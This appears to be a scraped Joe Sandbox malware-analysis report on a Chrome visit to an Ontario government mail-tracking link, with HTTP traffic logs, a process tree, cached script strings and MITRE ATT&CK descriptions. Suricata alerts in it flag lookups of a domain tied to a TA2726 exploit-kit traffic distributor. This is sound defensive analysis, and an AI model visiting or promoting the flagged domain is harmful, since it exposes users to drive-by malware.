2025-04-15 14:03:10 UTC	830	OUT	POST /mod_pagespeed_beacon?url=https%3A%2F%2Feqao-kb-osslt.lswp.vretta.com%2F HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive Content-Length: 115 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: https://eqao-kb-osslt.lswp.vretta.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: _ga_GZTVF3HBYE=GS1.1.1744725788.1.0.1744725788.0.0.0; _ga=GA1.1.1720984554.1744725788
2025-04-15 14:03:10 UTC	115	OUT	Data Raw: 6f 68 3d 38 58 78 61 32 58 51 4c 76 39 26 6e 3d 56 7a 4b 58 31 2d 38 6b 61 33 6f 26 63 69 3d 31 35 37 35 35 36 36 34 30 33 2c 31 36 38 30 33 33 39 36 32 37 2c 39 36 37 39 38 38 31 30 36 2c 32 33 38 36 37 36 37 37 35 32 2c 39 32 34 38 36 37 35 32 36 2c 33 33 34 35 37 32 38 30 30 39 2c 31 33 36 33 32 38 37 32 37 2c 33 32 36 37 31 34 32 32 32 37 Data Ascii: oh=8Xxa2XQLv9&n=VzKX1-8ka3o&ci=1575566403,1680339627,967988106,2386767752,924867526,3345728009,136328727,3267142227
2025-04-15 14:03:10 UTC	164	IN	HTTP/1.1 204 No Content Date: Tue, 15 Apr 2025 14:03:10 GMT Server: Apache X-Frame-Options: SAMEORIGIN Cache-Control: max-age=0, no-cache Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49766	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:10 UTC	752	OUT	GET /wp-content/uploads/sites/19/2021/02/favicom.png HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: _ga_GZTVF3HBYE=GS1.1.1744725788.1.0.1744725788.0.0.0; _ga=GA1.1.1720984554.1744725788
2025-04-15 14:03:10 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:10 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:07:53 GMT ETag: "4b9-603b5cffb710b" Accept-Ranges: bytes Content-Length: 1209 Connection: close Content-Type: image/png
2025-04-15 14:03:10 UTC	1209	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2d 00 00 00 2b 08 02 00 00 00 63 21 96 d0 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 04 71 49 44 41 54 58 85 ed 98 3f 6c e2 56 1c c7 5f aa 93 1c 16 f3 47 82 01 12 61 09 6f 80 a0 89 18 82 d4 00 13 6c 38 4b 4e 0c 6d 20 52 26 86 12 b5 63 4f 21 ea da 2a dc 70 2c 55 8b af 1d b8 b2 04 36 b8 e5 9c ab 94 0c a8 a9 4f 39 ae 0b 51 2d 51 32 10 c9 e7 78 71 3d a5 83 af 8f 87 fd 6c 9c 4b d2 de d0 ef c4 7b f9 f9 e5 e3 df 7b bf df fb fd bc 70 7d 7d 0d 3e 00 7d f4 5f 03 bc d3 03 f8 4b 10 e5 a7 fd 81 9d 67 f2 91 50 3c e0 b3 63 69 b1 66 d0 43 16 13 61 38 5c 80 fb c2 0d 47 99 7a cb 7a dd ad 44 b8 9a 4d 52 1e d2 0e 04 44 a9 f6 8e 8d 34 a9 d0 12 57 7e 08 87 0f 80 3d bd 07 81 26 ca 43 b2 85 5c 65 7d 25 fd a4 75 f5 Data Ascii: PNGIHDR-+c!sBITOqIDATX?lV_Gaol8KNm R&cO!*p,U6O9Q-Q2xq=lK{{p}}>}_KgP<cifCa8\GzzDMRD4W~=&C\e}%u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49767	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:10 UTC	535	OUT	GET /wp-content/uploads/sites/19/2021/02/favicom.png HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: _ga_GZTVF3HBYE=GS1.1.1744725788.1.0.1744725788.0.0.0; _ga=GA1.1.1720984554.1744725788
2025-04-15 14:03:10 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:10 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:07:53 GMT ETag: "4b9-603b5cffb710b" Accept-Ranges: bytes Content-Length: 1209 Connection: close Content-Type: image/png
2025-04-15 14:03:10 UTC	1209	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2d 00 00 00 2b 08 02 00 00 00 63 21 96 d0 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 04 71 49 44 41 54 58 85 ed 98 3f 6c e2 56 1c c7 5f aa 93 1c 16 f3 47 82 01 12 61 09 6f 80 a0 89 18 82 d4 00 13 6c 38 4b 4e 0c 6d 20 52 26 86 12 b5 63 4f 21 ea da 2a dc 70 2c 55 8b af 1d b8 b2 04 36 b8 e5 9c ab 94 0c a8 a9 4f 39 ae 0b 51 2d 51 32 10 c9 e7 78 71 3d a5 83 af 8f 87 fd 6c 9c 4b d2 de d0 ef c4 7b f9 f9 e5 e3 df 7b bf df fb fd bc 70 7d 7d 0d 3e 00 7d f4 5f 03 bc d3 03 f8 4b 10 e5 a7 fd 81 9d 67 f2 91 50 3c e0 b3 63 69 b1 66 d0 43 16 13 61 38 5c 80 fb c2 0d 47 99 7a cb 7a dd ad 44 b8 9a 4d 52 1e d2 0e 04 44 a9 f6 8e 8d 34 a9 d0 12 57 7e 08 87 0f 80 3d bd 07 81 26 ca 43 b2 85 5c 65 7d 25 fd a4 75 f5 Data Ascii: PNGIHDR-+c!sBITOqIDATX?lV_Gaol8KNm R&cO!*p,U6O9Q-Q2xq=lK{{p}}>}_KgP<cifCa8\GzzDMRD4W~=&C\e}%u

Target ID:	0
Start time:	10:03:00
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	10:03:01
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1948,i,18227594993888767319,2911250642764625356,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:03:02
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938"
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Network traffic	Suricata IDS: 2061092 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com) : 192.168.2.16:55524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061094 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com) : 192.168.2.16:55524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061092 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com) : 192.168.2.16:53738 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061094 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com) : 192.168.2.16:53738 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061098 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (javascripterhub .com) : 192.168.2.16:49720 -> 193.46.217.168:443
Source: Network traffic	Suricata IDS: 2061100 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (javascripterhub .com) : 192.168.2.16:49720 -> 193.46.217.168:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.145.76
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.145.76
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_78.1.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=v;return t},Sk:function(){e=qb()},Qd:function(){d()}}};var ac=va(["data-gtm-yt-inspected-"]),cI=["www.youtube.com","www.youtube-nocookie.com"],dI,eI=!1; equals www.youtube.com (Youtube)
Source: chromecache_78.1.dr	String found in binary or memory: R(b)\|\|Mm(a,b)},b)},Rt=function(){return[N.m.R,N.m.U]},St=/^(?:www\.)?google(?:\.com?)?(?:\.[a-z]{2}t?)?$/,Tt=/^www\.googleadservices\.com$/,Xt=/^gad_source[_=](\d+)$/;function bu(){return Ho("dedupe_gclid",function(){return ur()})};var cu=/^(www\.)?google(\.com?)?(\.[a-z]{2}t?)?$/,du=/^www.googleadservices.com$/;function eu(a){a\|\|(a=fu());return a.ho?!1:a.fn\|\|a.gn\|\|a.kn\|\|a.hn\|\|a.xf\|\|a.Pm\|\|a.jn\|\|a.Um?!0:!1}function fu(){var a={},b=$r(!0);a.ho=!!b._up;var c=pt();a.fn=c.aw!==void 0;a.gn=c.dc!==void 0;a.kn=c.wbraid!==void 0;a.hn=c.gbraid!==void 0;a.jn=c.gclsrc==="aw.ds";a.xf=Pt().xf;var d=A.referrer?fk(lk(A.referrer),"host"):"";a.Um=cu.test(d);a.Pm=du.test(d);return a};var gu=["https://www.google.com","https://www.youtube.com"]; equals www.youtube.com (Youtube)
Source: chromecache_78.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=HE(a,c,e);O(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return O(122),!0;if(d&&f){for(var m=Ab(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},KE=function(){var a=[],b=function(c){return fb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_78.1.dr	String found in binary or memory: if(!(f\|\|g\|\|k\|\|m.length\|\|n.length))return;var q={bi:f,Zh:g,ai:k,Mi:m,Ni:n,wf:p,Sb:e},r=z.YT;if(r)return r.ready&&r.ready(d),e;var v=z.onYouTubeIframeAPIReady;z.onYouTubeIframeAPIReady=function(){v&&v();d()};D(function(){for(var u=A.getElementsByTagName("script"),t=u.length,w=0;w<t;w++){var x=u[w].getAttribute("src");if(nI(x,"iframe_api")\|\|nI(x,"player_api"))return e}for(var y=A.getElementsByTagName("iframe"),B=y.length,C=0;C<B;C++)if(!eI&&lI(y[C],q.wf))return sc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_78.1.dr	String found in binary or memory: var pH=function(a,b,c,d,e){var f=eE("fsl",c?"nv.mwt":"mwt",0),g;g=c?eE("fsl","nv.ids",[]):eE("fsl","ids",[]);if(!g.length)return!0;var k=jE(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);O(121);if(m==="https://www.facebook.com/tr/")return O(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!zC(k,BC(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: trk.mmail.lst.fin.gov.on.ca
Source: global traffic	DNS traffic detected: DNS query: eqao-kb-osslt.lswp.vretta.com
Source: global traffic	DNS traffic detected: DNS query: javascripterhub.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: virtual.urban-orthodontics.com

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Windows Analysis Report
https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938